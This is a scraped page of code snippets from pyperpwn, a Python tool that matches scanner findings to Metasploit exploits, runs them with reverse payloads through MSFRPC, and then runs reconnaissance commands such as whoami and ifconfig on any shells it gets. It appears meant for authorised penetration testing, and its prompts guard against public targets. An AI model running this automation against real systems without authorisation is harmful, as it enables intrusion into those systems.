Esempio n. 1
0
 def __init__(self, host, port, pwd):
     self.console = ConsoleHandler('MsfHandler')
     self.msfrpc_client = self.get_msfrpc_client(host=host,
                                                 port=port,
                                                 pwd=pwd)
     if self.msfrpc_client is None:
         raise ConnectionError('Cannot connect to MSFRPC')
Esempio n. 2
0
 def __init__(self, msf_handler):
     self.msf_handler = msf_handler
     self.console = ConsoleHandler("DBHandler")
     self.exploits = []
     self.db_client = MongoClient(db_config.get("host"),
                                  db_config.get("port"))
     self.db = self.db_client.pyperpwn
     self.expl_coll = self.db.exploits
     self.cve_coll = self.db.cve
     self.vuln_coll = self.db.vulns
     self.expl_class_coll = self.db.classifications
     self.exec_status_coll = self.db.exec_status
     self.check_db_connection()
Esempio n. 3
0
 def __init__(self, lhost, rhost, rport, lport, is_reverse_payload, is_staged_payload, results):
     Thread.__init__(self)
     self.console = ConsoleHandler('ConnSuperv')
     if lhost is None or rhost is None or lhost == '' or rhost == '':
         raise AttributeError('You need to specify a value for rhost and lhost.')
     self.lhost = lhost
     self.rhost = rhost
     self.rport = rport
     self.lport = lport
     self.is_reverse_payload = is_reverse_payload
     self.is_staged_payload = is_staged_payload
     self.file = open("tcpdump_log.txt", "w")
     self.results = results
Esempio n. 4
0
 def get_exploit(self, expl_path):
     try:
         expl = self.msfrpc_client.modules.use('exploit', expl_path)
         return expl
     except (UnicodeDecodeError, requests.exceptions.ConnectionError):
         ConsoleHandler("ExploitParser").error(
             "\t error decoding exploit module")
         return None
Esempio n. 5
0
class SuccessEvaluator:
    def __init__(self):
        self.console = ConsoleHandler('SuccessEval')

    def merge_findings(self, findings):
        self.console.debug("all findings: {}".format(findings))
        complete_finding = {}
        for finding in findings:
            for key in finding.keys():
                try:
                    if finding[key].value > complete_finding[key].value:
                        complete_finding[key] = finding[key]
                except (KeyError, AttributeError) as err:
                    complete_finding[key] = finding[key]
        self.console.debug("merged findings: {}".format(complete_finding))
        return complete_finding

    def has_done_damage(self, finding):
        self.console.debug(finding)
        vals = [finding[key] for key in finding.keys()]
        for val in vals:
            if val.value > ServiceStatus.UP_ACCESSIBLE.value:
                return True
        return False

    def was_expl_successful(self, intention, details):
        has_done_damage = self.has_done_damage(details.impact)
        expl_executed_on_target = len(details.execution_detection_method) > 0
        self.console.debug(
            "Evaluating success of exploit: session? {}, has done damage? {}".
            format(details.got_session, has_done_damage))
        if intention == ExploitClass.INTRUSIVE_DESTRUCTIVE:
            if has_done_damage or expl_executed_on_target:
                return True
        if intention == ExploitClass.INTRUSIVE:
            if not has_done_damage and expl_executed_on_target:
                return True
        if intention == ExploitClass.NOT_INTRUSIVE:
            if expl_executed_on_target and not has_done_damage:
                return True
        return False
class ExplClassificationReader:
    def __init__(self, db_handler):
        self.console = ConsoleHandler("ExplClassR.")
        self.db = db_handler

    def write_to_db(self, path):
        self.console.info("Start reading csv file: {}".format(path))
        try:
            with open(path) as csv_file:
                csv_reader = csv.DictReader(csv_file, delimiter=",")
                line_count = 0
                for row in csv_reader:
                    expl_class = ExploitClassification(row['Exploit'],
                                                       row['Classification'])
                    self.db.add_expl_class(expl_class)
                    line_count += 1
                self.console.info(
                    "Written {} entries from Exploit Classification file to DB."
                    .format(line_count - 1))
        except (TypeError, FileNotFoundError):
            self.console.error(
                "Cannot open export classification file at {}.".format(path))
Esempio n. 7
0
 def read_output(console_data):
     console = ConsoleHandler('MsfHandler')
     console.debug("Main console received output: {}".format(console_data))
Esempio n. 8
0
 def __init__(self):
     self.console = ConsoleHandler("SuccessCheck")
Esempio n. 9
0
class CVEDetailParser:
    def __init__(self, db_handler):
        self.console = ConsoleHandler("CVEDetParser")
        self.db = db_handler

    def get_cve_details(self, cves):
        if cves == "NOCVE":
            return None
        cves = CVEDetailParser.parse_cves(self.console, cves)
        vuln_types = []
        for cve in cves:
            cve_from_db = self.db.get_cve(cve)
            if cve_from_db is None:
                html = self.retrieve_cve_details(cve)
                vuln_type = self.parse_cve_type(html)
                if vuln_type is not None:
                    self.console.debug(
                        "\t successfully extracted vulnerability type for {}: {}"
                        .format(cve, vuln_type))
                    vuln_types.append(vuln_type)
                    self.db.add_cve_details({'cve': cve, 'type': vuln_type})
                else:
                    self.console.error(
                        "\t Unable to extract Vulnerability type for {}".
                        format(cve))
            else:
                vuln_types.append(cve_from_db['type'])
                self.console.debug("received CVE type from DB: {} {}".format(
                    cve_from_db['cve'], cve_from_db['type']))
        if len(vuln_types) == 0:
            return None
        vuln_type = list(set(vuln_types))
        self.console.debug("\t extracted vuln type: {}".format(vuln_type))
        return vuln_type

    def retrieve_cve_details(self, cve):
        path = cve_details_config.get("url") + cve
        try:
            r = requests.get(path, timeout=20)
            if r.status_code != requests.codes.ok:
                self.console.error("\t unable to retrieve CVE details.")
            return r.text
        except requests.exceptions.ConnectionError:
            self.console.error(
                "Cannot retrieve CVE details. Please check your internet connection."
            )
            return ""

    def parse_cve_type(self, html):
        match = re.search(CVE_TYPE_PARSER_PATTERN, html)
        if match is None:
            return None
        return match.group(CVE_TYPE_GROUP_ID_IN_PATTERN)

    # parses single CVE-ID from a string with several CVE-IDs separated by a comma
    @staticmethod
    def parse_cves(console, cve):
        parsed_cves = []
        cves = cve.split(",")
        for i, _ in enumerate(cves):
            cves[i] = cves[i].strip()
        for cve in cves:
            match = re.match(CVE_PATTERN, cve)
            if match is not None:
                parsed_cves.append(cve)
        remove_count = len(cves) - len(parsed_cves)
        if remove_count > 0:
            console.debug(
                "removed {} CVE entries because of a non-matching format".
                format(remove_count))
        return parsed_cves

    # parse a list of BIDs
    @staticmethod
    def parse_bids(bid_str):
        parsed_bids = []
        bids = bid_str.split(",")
        for bid in bids:
            bid = bid.strip()
            parsed_bids.append(bid)
        return parsed_bids
Esempio n. 10
0
class SessionHandler:
    def __init__(self, msf_handler):
        self.console = ConsoleHandler('Sess.Handler')
        self.msf_handler = msf_handler

    # checks if a session has spawned by executing the given exploits.
    # return it's ID if possible, -1 otherwise
    def session_check(self, exploit_path, rport):
        exploit_path = "exploit/{}".format(exploit_path)
        self.console.info("Start Session checker for {}".format(exploit_path))
        sessions = self.msf_handler.get_all_sessions()
        if len(sessions) > 0:
            self.console.debug("\t session(s) discovered: {}".format(sessions))
            for session_id in sessions:
                if sessions[session_id][
                        'via_exploit'] == exploit_path and sessions[
                            session_id]['session_port'] == rport:
                    self.console.info(
                        "\t Got session {} via exploit {}".format(
                            session_id, exploit_path))
                    return int(session_id)
        self.console.warn("\t apparently no session spawned successfully.")
        return NO_SESSION_FOUND

    # gather useful information for a given remote session, based on the type of session and close session afterwards
    def gather_info(self, session_id, os):
        os = OS.from_string(os)
        session_id = str(session_id)
        session_obj = self.msf_handler.get_session_obj(session_id=session_id)
        shell_info = {
            'info': self.msf_handler.get_session_dict(session_id).get('info')
        }
        if self.msf_handler.get_session_dict(
                session_id=session_id).get('type') == 'meterpreter':
            self.console.debug('\t discovered a meterpreter shell')
            shell_info = self.run_default_meterpreter_cmds(
                session=session_obj, os=os, shell_info=shell_info)
        else:
            self.console.debug('\t discovered a normal session')
            shell_info = self.run_default_shell_cmds(shell=session_obj,
                                                     os=os,
                                                     shell_info=shell_info)
        self.exit_shell(shell=session_obj)
        self.close_single_session(session_id)
        self.console.debug("shell info: {}".format(shell_info))
        return shell_info

    # run special commands if a meterpreter session is present
    def run_default_meterpreter_cmds(self, session, os, shell_info):
        shell_info['meterpreter: getuid'] = self.run_single_shell_cmd(
            session, 'getuid')
        shell_info['meterpreter: route'] = self.run_single_shell_cmd(
            session, 'route')
        self.downgrade_meterpreter(session)
        shell_info = self.run_default_shell_cmds(session,
                                                 os,
                                                 shell_info=shell_info)
        self.exit_shell(session)
        return shell_info

    def run_default_shell_cmds(self, shell, os, shell_info):
        shell_info['whoami'] = self.run_single_shell_cmd(shell, 'whoami')
        if os == OS.LINUX:
            shell_info['uname -a'] = self.run_single_shell_cmd(
                shell, 'uname -a')
            shell_info['ifconfig'] = self.run_single_shell_cmd(
                shell, 'ifconfig')
        if os == OS.WINDOWS:
            shell_info['ipconfig'] = self.run_single_shell_cmd(
                shell, 'ipconfig')
        return shell_info

    def run_single_shell_cmd(self, shell, cmd):
        shell.write(cmd)
        try:
            time.sleep(WAIT_INTERVAL_FOR_SHELL_RESPONSE)
            shell_response = shell.read().strip()
            if shell_response != '':
                self.console.info(
                    "Received shell response to command '{}'.".format(cmd))
                self.console.debug("\t {}".format(shell_response))
                return shell_response
            else:
                self.console.info(
                    "Received empty shell response to command '{}'.".format(
                        cmd))
                return None
        except KeyError:
            self.console.error(
                "Unable to read data from console for command '{}'.".format(
                    cmd))
            return None

    @staticmethod
    def only_empty_replies(shell_info):
        for cmd in shell_info:
            if shell_info.get(cmd) is not None:
                return False
        return True

    def exit_shell(self, shell):
        shell.write('exit')

    def downgrade_meterpreter(self, meterpreter_session):
        meterpreter_session.write('shell')
        time.sleep(WAIT_INTERVAL_FOR_SHELL_RESPONSE)
        meterpreter_session.read()

    # close a single session so that pyperpwn does not get confused while future executions of this exploit
    def close_single_session(self, session_id):
        self.exit_shell(
            self.msf_handler.get_session_obj(session_id=str(session_id)))
        self.console.info(
            "Automatically closed session with id {}".format(session_id))

    # close all open remote sessions
    def close_all_sessions(self):
        sessions = self.msf_handler.get_all_sessions()
        for session_id in sessions:
            self.exit_shell(
                self.msf_handler.get_session_obj(session_id=session_id))
        self.console.info("Automatically closed {} sessions.".format(
            len(sessions)))
Esempio n. 11
0
 def __init__(self):
     self.console = ConsoleHandler("VulnReader")
Esempio n. 12
0
from core.SuccessEvaluator import SuccessEvaluator
from db.DBHandler import DBHandler
from entities.ExecStatus import ExecStatus
from entities.ExplExecDetails import ExplExecDetails, ExplExecutionStatus
from entities.Exploit import Exploit, ExplExecDetectionMethod
from entities.Vulnerability import Vulnerability, VulnType
from inout.CSVWriter import CSVWriter
from inout.CVEDetailParser import CVEDetailParser
from inout.ConsoleHandler import ConsoleHandler
from inout.ExplClassificationReader import ExplClassificationReader
from inout.VulnReportReader import VulnReportReader
from inout.Wizard import Wizard
from msf.MsfHandler import MsfHandler
from msf.SessionHandler import SessionHandler, NO_SESSION_FOUND

console = ConsoleHandler("pyperpwn")

db = None
session_handler = None
exec_state = None


def main(args):
    global db
    global exec_state
    global session_handler

    msf_handler = get_msf_handler()
    db = get_db_handler(msf_handler=msf_handler)

    exec_state = db.take_matching_exec_status(args.get('rhost'))
Esempio n. 13
0
 def __init__(self):
     self.console = ConsoleHandler('SuccessEval')
Esempio n. 14
0
class ExploitMatcher:

    def __init__(self, db_handler):
        self.console = ConsoleHandler("ExplMatcher")
        self.db_handler = db_handler

    def find_exploits_for_vuln(self, vuln, os, os_multi, rank):
        matching_expl = self.get_all_exploits_for_name(vuln.name, os, os_multi) + \
                        self.find_exploits_by_cve(vuln.cve) + \
                        self.find_exploits_by_bid(vuln.bid)
        if len(matching_expl) > 0:
            matching_expl = self.remove_duplicates(matching_expl)
            matching_expl = self.filter_by_os(os, os_multi, matching_expl)
            self.console.info("Filtered exploits by OS '{}': {} left.".format(os, len(matching_expl)))
            matching_expl = self.filter_by_rank(rank, matching_expl)
            self.console.info("Filtered exploits by Rank '{}': {} left.".format(rank, len(matching_expl)))
            matching_expl = self.sort_exploits(matching_expl)
        return matching_expl

    def find_exploits_by_cve(self, cve):
        cves = CVEDetailParser.parse_cves(self.console, cve)
        cve_expl = []
        self.console.info("Searching by CVEs {}".format(cves))
        if len(cves) > 0:
            for cve in cves:
                expl_list = self.get_all_exploits_for_cve(cve)
                if expl_list is not None:
                    cve_expl.append(expl_list)
        if len(cve_expl) == 0:
            self.console.warn("\t None found.")
        return cve_expl

    def find_exploits_by_bid(self, bid_str):
        bids = CVEDetailParser.parse_bids(bid_str)
        bid_expl = []
        self.console.info("Searching by BIDs {}".format(bids))
        if len(bids) > 0:
            for bid_str in bids:
                expl = self.get_all_exploits_for_bid(bid_str)
                if expl is not None:
                    bid_expl.append(expl)
        if len(bid_expl) == 0:
            self.console.warn("\t None found.")
        return bid_expl

    # actually perform search for exploits by CVE
    def get_all_exploits_for_cve(self, cve):
        expl_list = self.db_handler.search_by_cve(cve)
        if len(expl_list) > 0:
            self.console.info("\t Found {} exploit(s).".format(len(expl_list)))
            return expl_list
        return None

    # actually perform search for exploits by BID
    def get_all_exploits_for_bid(self, bid):
        if bid == '':
            return None
        expl_list = self.db_handler.search_by_bid(bid)
        if len(expl_list) > 0:
            self.console.info("\t Found {} exploit(s).".format(len(expl_list)))
            return expl_list
        return None

    # actually perform search for exploits by vulnerability name
    def get_all_exploits_for_name(self, name, os, multi):
        search_name = Exploit.improve_name(name)
        self.console.info("Searching by keywords '{}'".format(search_name))
        expl_list = self.db_handler.search_by_name(search_name)
        expl_list = list(filter(lambda expl: expl.score >= exploit_search_config.get('min_score'), expl_list))
        expl_list.sort(key=lambda x: float(x.score), reverse=True)
        if len(expl_list) > exploit_search_config.get('max_count_by_name'):
            self.console.debug("found too many exploits, only use the {} with the highest score.".format(
                exploit_search_config.get('max_count_by_name')))
            expl_list = self.filter_by_os(os=os, multi=multi, expl_list=expl_list)
            expl_list = expl_list[:exploit_search_config.get('max_count_by_name')]
        for expl in expl_list:
            self.console.debug(
                "\t \t score: {}, path: '{}', title: '{}'".format(expl.score, expl.path, expl.search_name))
        if len(expl_list) > 0:
            self.console.info("\t Found {} exploit(s).".format(len(expl_list)))
        else:
            self.console.warn("\t None found.")
        return expl_list

    # extrahiere Versionsnummer aus String, findet Nummern mit bis zu dreistufiger Hierarchie
    @staticmethod
    def get_version_number(str):
        pattern = "(\d)+.(\d)(.(\d)+)?"
        match = re.search(pattern, str)
        if match is None:
            return None
        return match.group(0)

    # removes all duplicates from a nested list of exploit objects
    def remove_duplicates(self, expl_lists):
        if expl_lists is None:
            return None
        expl_list = Exploit.flatten_expl_lists(expl_lists)
        filtered_expl_list = []
        for expl in expl_list:
            unique = True
            for filtered_expl in filtered_expl_list:
                if expl.path == filtered_expl.path:
                    unique = False
            if unique:
                filtered_expl_list.append(expl)
        self.console.info("Removed {} duplicate exploits.".format(len(expl_list) - len(filtered_expl_list)))
        return filtered_expl_list

    # filter the given list of exploits by operating system
    def filter_by_os(self, os, multi, expl_list):
        if os == 'all':
            return expl_list
        if os == 'linux':
            if multi:
                return list(
                    filter(lambda expl: (expl.os == 'linux' or expl.os == 'unix' or expl.os == 'multi'), expl_list))
            return list(filter(lambda expl: (expl.os == 'linux' or expl.os == 'unix'), expl_list))
        elif os == 'windows':
            if multi:
                return list(filter(lambda expl: (expl.os == 'windows' or expl.os == 'multi'), expl_list))
            return list(filter(lambda expl: expl.os == 'windows', expl_list))
        else:
            return []

    # filter the given list of exploits by a minimum reliability ranking
    def filter_by_rank(self, rank, expl_list):
        return list(filter(lambda expl: self.compare_rankings(expl.rank, rank), expl_list))

    # compare a given rank of a exploit to the demanded minimum rank
    def compare_rankings(self, rank, min_rank):
        return Rank.value_from_str(rank) >= Rank.value_from_str(min_rank)

    # sort exploits by the msf module rank attribute
    def sort_exploits(self, expls):
        if len(expls) == 0:
            return []
        expls.sort(key=lambda x: Rank.value_from_str(x.rank), reverse=True)
        self.console.info("Sorted exploits.")
        return expls
Esempio n. 15
0
 def __init__(self, db_handler):
     self.console = ConsoleHandler("ExplMatcher")
     self.db_handler = db_handler
Esempio n. 16
0
class MsfHandler:
    def __init__(self, host, port, pwd):
        self.console = ConsoleHandler('MsfHandler')
        self.msfrpc_client = self.get_msfrpc_client(host=host,
                                                    port=port,
                                                    pwd=pwd)
        if self.msfrpc_client is None:
            raise ConnectionError('Cannot connect to MSFRPC')

    # start the client and return it
    def get_msfrpc_client(self, host, port, pwd):
        self.console.info("Connecting to MSFRPC server...")
        msf_client = None
        try:
            msf_client = MsfRpcClient(password=pwd,
                                      port=port,
                                      server=host,
                                      ssl=False)
            self.console.info(
                "\t Successfully connected to MSFRPC at {}:{}".format(
                    host, port))
            msf_console = MsfRpcConsole(msf_client, cb=MsfHandler.read_output)
        except (ConnectionRefusedError, NewConnectionError, MaxRetryError,
                requests.exceptions.ConnectionError) as e:
            self.console.error(
                "\t Connection to MSFRPC at {}:{} couldn't be established: {}!"
                .format(host, port,
                        type(e).__name__))
        except MsfAuthError:
            self.console.error("MSFRPC Authentication error.")
        except MsfRpcError:
            self.console.error("\t Error while logging in to MSFRPC!")
        return msf_client

    @staticmethod
    def read_output(console_data):
        console = ConsoleHandler('MsfHandler')
        console.debug("Main console received output: {}".format(console_data))

    def get_all_exploits(self):
        return self.msfrpc_client.modules.exploits

    # get reference to metasploit exploit object
    def get_exploit(self, expl_path):
        try:
            expl = self.msfrpc_client.modules.use('exploit', expl_path)
            return expl
        except (UnicodeDecodeError, requests.exceptions.ConnectionError):
            ConsoleHandler("ExploitParser").error(
                "\t error decoding exploit module")
            return None

    def get_payload(self, payload_path):
        return self.msfrpc_client.modules.use('payload', payload_path)

    def execute_exploit_with_output(self, cid, exploit, payload):
        return self.msfrpc_client.consoles.console(cid).run_module_with_output(
            exploit, payload=payload)

    def get_new_console_with_id(self):
        return self.msfrpc_client.consoles.console().cid

    def get_all_sessions(self):
        return self.msfrpc_client.sessions.list

    def get_session_dict(self, session_id):
        return self.get_all_sessions()[session_id]

    def get_session_obj(self, session_id):
        return self.msfrpc_client.sessions.session(session_id)
Esempio n. 17
0
class ExploitExecutor:
    def __init__(self, msf_handler, wizard):
        self.console = ConsoleHandler('ExploitExec')
        self.msf_handler = msf_handler
        self.wizard = wizard

    # checks if non-common params are existent and returns a dict of new values in case they should be changed
    def check_exploit_params(self, expl):
        non_common = expl.get_non_common_params()
        self.console.debug("\t all required params {}".format(expl.req_params))
        self.console.debug("\t non-common params {}".format(non_common))
        params = {}
        if len(non_common) > 0:
            check = self.console.prompt(
                "Exploit has {} non-common params. Do you want to change them? [y/n]"
                .format(len(non_common)))
            current_expl = self.msf_handler.get_exploit(expl.path)
            if check == 'y':
                for param in non_common:
                    current_val = current_expl[param]
                    new_val = self.wizard.read_param_value_from_console(
                        param, current_val)
                    if new_val is not None:
                        params[param] = new_val
            else:
                self.console.debug("apparently no change is demanded")
        return params

    # execute an exploit with the given parameters
    def execute_exploit(self,
                        expl,
                        params,
                        additional_params,
                        express=False,
                        execall=False):
        execute = False
        if not ExploitExecutor.is_private_address(params.get('rhost')):
            if self.wizard.exec_expl_against_public_addr(params.get('rhost')):
                execute = True
        elif express or execall:
            execute = True
        elif self.wizard.exec_expl(expl_path=expl.path,
                                   rhost=params.get('rhost')):
            execute = True

        if execute:
            exploit = self.get_prepared_exploit(expl.path, params,
                                                additional_params)
            payload = self.get_prepared_payload(exploit,
                                                params.get('lhost'),
                                                params.get('lport'),
                                                express=express)

            is_reverse_payload = PayloadUtils.is_reverse_payload(
                payload=payload)
            is_staged_payload = PayloadUtils.is_staged_payload(payload=payload)
            result = []
            conn_supervisor = ConnectionSupervisor(
                lhost=params.get('lhost'),
                rhost=params.get('rhost'),
                is_reverse_payload=is_reverse_payload,
                is_staged_payload=is_staged_payload,
                results=result,
                rport=params.get('rport'),
                lport=params.get('lport'))
            conn_supervisor.start()
            self.console.info("Set payload '{}'".format(payload.modulename))
            cid = self.msf_handler.get_new_console_with_id()
            self.console.info(
                "Exploit is being executed using msf console {}. This might take a while."
                .format(cid))
            output = self.msf_handler.execute_exploit_with_output(
                cid=cid, exploit=exploit, payload=payload)
            self.console.info("Received exploit output")
            self.console.debug(output)
            conn_supervisor.join()
            self.console.debug(
                "ConnectionInspector detection methods: {}".format(result))
            if output is None:
                self.console.error("Unable to execute exploit!")
            else:
                self.console.info("Exploit has been run without errors.")
                return {'output': output, 'detection_method': result}
        else:
            return {'output': None, 'detection_method': None}
        return None

    # get exploit object defined by 'path' with all delivered params set
    def get_prepared_exploit(self, path, params, additional_params):
        exploit = self.msf_handler.get_exploit(path)
        try:
            self.set_module_param('exploit', exploit, 'RHOST', params['rhost'])
        except KeyError:
            self.set_module_param_safely('exploit', exploit, 'RHOSTS',
                                         params['rhost'])
        self.set_module_param_safely('exploit', exploit, 'RPORT',
                                     params['rport'])
        self.set_module_param_safely('exploit', exploit, 'VERBOSE', True)
        for key in additional_params.keys():
            self.set_module_param_safely('exploit', exploit, key,
                                         additional_params.get(key))
        if len(exploit.missing_required) > 0:
            self.console.warn(
                "Exploit might fail because of missing parameter values: {}".
                format(exploit.missing_required))
        return exploit

    # get the payload object to be used for execution
    def get_prepared_payload(self, expl, lhost, lport, express=False):
        payload_name = None
        if not express:
            payload_name = self.wizard.get_payload(payload_paths=expl.payloads)
        if payload_name is None:
            payload_name = PayloadUtils.get_prioritized_payload(expl.payloads)
        self.console.info("\t Selected payload: {}".format(payload_name))
        payload = self.msf_handler.get_payload(payload_path=payload_name)
        self.console.debug("Payload requires those params: {}".format(
            payload.required))
        if 'LPORT' in payload.required:
            self.set_module_param_safely('payload', payload, 'LPORT', lport)
        if 'LHOST' in payload.required:
            self.set_module_param_safely('payload', payload, 'LHOST', lhost)
        return payload

    # set a single param value for the given module, don't catch errors
    def set_module_param(self, module_type, module_obj, param_name, param_val):
        module_obj[param_name] = param_val
        self.console.debug("\t setting {} param {} to {}".format(
            module_type, param_name, param_val))

    # set a single param and catch errors
    def set_module_param_safely(self, module_type, module_obj, param_name,
                                param_val):
        try:
            self.set_module_param(module_type, module_obj, param_name,
                                  param_val)
        except KeyError as e:
            self.console.warn("Failed to set module param: ".format(e))

    # checks if the given IP address is private, returns true if yes
    @staticmethod
    def is_private_address(ip):
        ip_parts = ip.split('.')
        for i, _ in enumerate(ip_parts):
            ip_parts[i] = int(ip_parts[i])
        if ip_parts[0] == 10:
            return True
        if ip_parts[0] == 172 and 16 <= ip_parts[1] <= 31:
            return True
        if ip_parts[0] == 192 and ip_parts[1] == 168:
            return True
        return False
Esempio n. 18
0
class Wizard:
    def __init__(self):
        self.print_greeting()
        self.console = ConsoleHandler("Wizard")

    def get_options(self):
        try:
            args = self.parse_args()
            args['vuln_source'] = self.check_delivered_value(
                args['vuln_source'], "Vulnerability Scanner Report Path",
                (lambda x: True))
            args['expl_class'] = self.check_delivered_value(
                args['expl_class'], "Exploit Classification File Path",
                (lambda x: True))
            args['rhost'] = self.check_delivered_value(
                args.get('rhost'), "Remote Host IP Address",
                self.check_is_ip_addr)
            args['lhost'] = self.check_delivered_value(
                args.get('lhost'), "Local Host IP Address",
                self.check_is_ip_addr)
            args['expl_rank'] = self.check_delivered_value(
                args.get('expl_rank'), "Exploit minimum rank",
                (lambda x: Rank.is_valid(x)))
            args['expl_os'] = self.check_delivered_value(
                args.get('expl_os'), "Rhost operating system",
                (lambda x: OS.is_valid(x)))
            args['xspeed'] = self.check_delivered_value(
                int(args.get('xspeed')), "Execution speed",
                (lambda x: x in [1, 2, 3]))
            args['xspeed'] = Speed(args['xspeed'])
            args['espeed'] = self.check_delivered_value(
                int(args.get('espeed')), "Evaluation speed",
                (lambda x: x in [1, 2, 3]))
            args['espeed'] = Speed(args['espeed'])
            args['lport'] = int(args['lport'])
            self.console.debug(args)
            if args.get('express'):
                self.console.warn(
                    "EXPRESS MODE IS ENABLED. Only as few prompts as necessary will appear. Please note that using the default values might lead to worse results."
                )
            return args
        except ValueError:
            raise ValueError

    @staticmethod
    def parse_args():
        parser = ArgumentParser(
            description=
            "pyperpwn - Tool to verify the success of Metasploit's exploits",
            epilog='With great power comes great responsibility. Use with care.'
        )
        parser.add_argument("-p",
                            "--password",
                            dest="msfrpc_pwd",
                            help="Connect to MSFRPCD using this password",
                            metavar="pwd",
                            required=True)
        parser.add_argument("-a",
                            "--msfhost",
                            dest="msfrpc_host",
                            help="Connect to MSFRPCD at this IP address",
                            metavar="ip",
                            default=msf_default_config.get("host"))
        parser.add_argument("-P",
                            "--port",
                            dest="msfrpc_port",
                            help="Connect to MSFRPCD at the specified port",
                            metavar="port",
                            default=msf_default_config.get("port"))
        parser.add_argument(
            "-o",
            "--os",
            dest="expl_os",
            help=
            "Use only exploits developed for this OS. Currently supports 'linux' and 'windows' and 'all'.",
            metavar="name")
        parser.add_argument('--no-multi',
                            dest='expl_os_multi',
                            action='store_false',
                            help="Do not use universal exploits")
        parser.set_defaults(expl_os_multi=True)
        parser.add_argument("-r",
                            "--rank",
                            dest="expl_rank",
                            help="Use only exploits with this minimum rank",
                            metavar="min-rank",
                            default="manual")
        parser.add_argument("-v",
                            "--vulns",
                            dest="vuln_source",
                            help="Read this report of a vulnerability scanner",
                            metavar="path")
        parser.add_argument(
            "-c",
            "--class",
            dest="expl_class",
            help="Read this file containing an exploit classification",
            metavar="path")
        parser.add_argument("-x",
                            "--export",
                            dest="report_path",
                            help="Save the output report at this location",
                            metavar="path",
                            default="hyper_pyper_report.csv")
        parser.add_argument("-t",
                            "--target",
                            dest="rhost",
                            help="IP address of the remote host to be tested",
                            metavar="ip")
        parser.add_argument(
            "-l",
            "--lhost",
            dest="lhost",
            help="IP address of the local host running this script",
            metavar="ip")
        parser.add_argument("-w",
                            "--lport",
                            dest="lport",
                            help="Port number to be used for Session Handlers",
                            metavar="port",
                            default="5678")
        parser.add_argument(
            '-e',
            dest='exec_expl',
            action='store_true',
            help="Only actually execute exploits if this flag is set.")
        parser.add_argument(
            "-xs",
            "--execspeed",
            dest="xspeed",
            help=
            "The speed level to be used for exploit execution. Can be either 1, 2 or 3. (the higher, the faster)",
            metavar="1|2|3",
            default="3")
        parser.add_argument(
            "-es",
            "--evalspeed",
            dest="espeed",
            help=
            "The speed level to be used for success evaluation. Can be either 1, 2 or 3. (the higher, the faster)",
            metavar="1|2|3",
            default="3")
        parser.add_argument(
            "-XX",
            "--express",
            dest="express",
            action='store_true',
            help=
            "Execute the tool using default values and  without any prompts.")
        parser.add_argument(
            "-XA",
            "--execall",
            dest="execall",
            action='store_true',
            help="Don't ask whether exploits should be executed.",
        )
        parser.set_defaults(exec_expl=False)
        parser.set_defaults(express=False)
        parser.set_defaults(execall=False)
        args = vars(parser.parse_args())
        return args

    # check if the provided param value is valid, judging by the given validation function
    def check_delivered_value(self, val, name, validation_fun):
        if val is None:
            val = self.read_option_value(name)
        if validation_fun(val):
            self.console.debug("setting '{}' to '{}'".format(name, val))
            return val
        self.console.error("\t no valid value provided for '{}'".format(name))
        raise ValueError

    def read_option_value(self, option_name):
        param_value = self.console.prompt(
            "Required option [{}] not specified. Enter a value".format(
                option_name))
        if len(param_value) == 0:
            self.console.error("Cannot work without this parameter...")
        return param_value

    @staticmethod
    def check_is_ip_addr(ip):
        parts = ip.split('.')
        if len(parts) == 4:
            for part in parts:
                if int(part) < 0 or int(part) > 255:
                    return False
            return True
        return False

    # return the path of the manually selected payload, or None for default payload
    def get_payload(self, payload_paths):
        change_payload = self.console.prompt(
            "Do you want to change the default payload ({} alternatives available)? [y/n]"
            .format(len(payload_paths) - 1))
        if change_payload == 'y':
            self.console.info("\t Available payloads:")
            for i in range(len(payload_paths)):
                self.console.info("\t  ({})\t{}".format(i, payload_paths[i]))
            try:
                new_payload = int(
                    self.console.prompt(
                        "Enter the number of the payload to use instead (blank for default)"
                    ))
            except ValueError:
                self.console.debug(
                    "No number provided. Default payload will be used.")
                return None
            if new_payload in range(len(payload_paths)):
                return payload_paths[new_payload]
            self.console.warn(
                "Invalid value provided. Default payload will be used.")
        return None

    # prompt the user for a new value for a given module param
    def read_param_value_from_console(self, param_name, current_value):
        param_value = self.console.prompt(
            "\t [{}], current value: '{}'. Enter a new value (leave blank for default)"
            .format(param_name, str(current_value)))
        if len(param_value) > 0:
            self.console.debug("\t setting param {} = {}".format(
                param_name, param_value))
            return param_value
        return None

    def continue_last_exec(self, ip, exec_state):
        if exec_state is None:
            self.console.debug(
                'No matching previous unfinished execution found.')
            return False
        self.console.info(
            "Found an unfinished execution against {}, started at {}".format(
                ip,
                time.strftime('%Y-%m-%d %H:%M %Z',
                              time.localtime(exec_state.start_time))))
        continue_exec = self.console.prompt(
            'Do you want to continue? "n" discards the data. [y/n]') == 'y'
        if continue_exec is True:
            self.console.debug(
                'Continue previously unfinished execution {}'.format(
                    exec_state))
        return continue_exec

    def generate_report_now(self):
        return self.console.prompt(
            "Save this execution for later [c]ontinuation, [g]enerate a report now or e[x]it at any cost?"
        )

    def exec_expl_against_public_addr(self, rhost):
        return self.console.prompt(
            "Detected public IP address. Do you want to execute the exploit against {}? [y/n]"
            .format(rhost)) == 'y'

    def exec_expl(self, expl_path, rhost):
        return self.console.prompt(
            "Do you want to execute exploit '{}' against {}? [y/n]".format(
                expl_path, rhost)) == 'y'

    def print_expl_exec_info(self, expl_path, is_repetition):
        if not is_repetition:
            self.console.empty(1)
            self.console.caption(
                "Exploit '{}' will now be executed".format(expl_path))
        else:
            self.console.empty(1)
            self.console.warn(
                "Exploit '{}' will be re-executed since it hasn't been successful."
                .format(expl_path))

    def print_greeting(self):
        print(
            "\n====================================================================================\n"
        )
        print(
            " $$$$$$\  $$\   $$\  $$$$$$\   $$$$$$\   $$$$$$\   $$$$$$\  $$\  $$\  $$\ $$$$$$$\  \n"
            +
            "$$  __$$\ $$ |  $$ |$$  __$$\ $$  __$$\ $$  __$$\ $$  __$$\ $$ | $$ | $$ |$$  __$$\ \n"
            "$$ /  $$ |$$ |  $$ |$$ /  $$ |$$$$$$$$ |$$ |  \__|$$ /  $$ |$$ | $$ | $$ |$$ |  $$ |\n"
            "$$ |  $$ |$$ |  $$ |$$ |  $$ |$$   ____|$$ |      $$ |  $$ |$$ | $$ | $$ |$$ |  $$ |\n"
            "$$$$$$$  |\$$$$$$$ |$$$$$$$  |\$$$$$$$\ $$ |      $$$$$$$  |\$$$$$\$$$$  |$$ |  $$ |\n"
            "$$  ____/  \____$$ |$$  ____/  \_______|\__|      $$  ____/  \_____\____/ \__|  \__|\n"
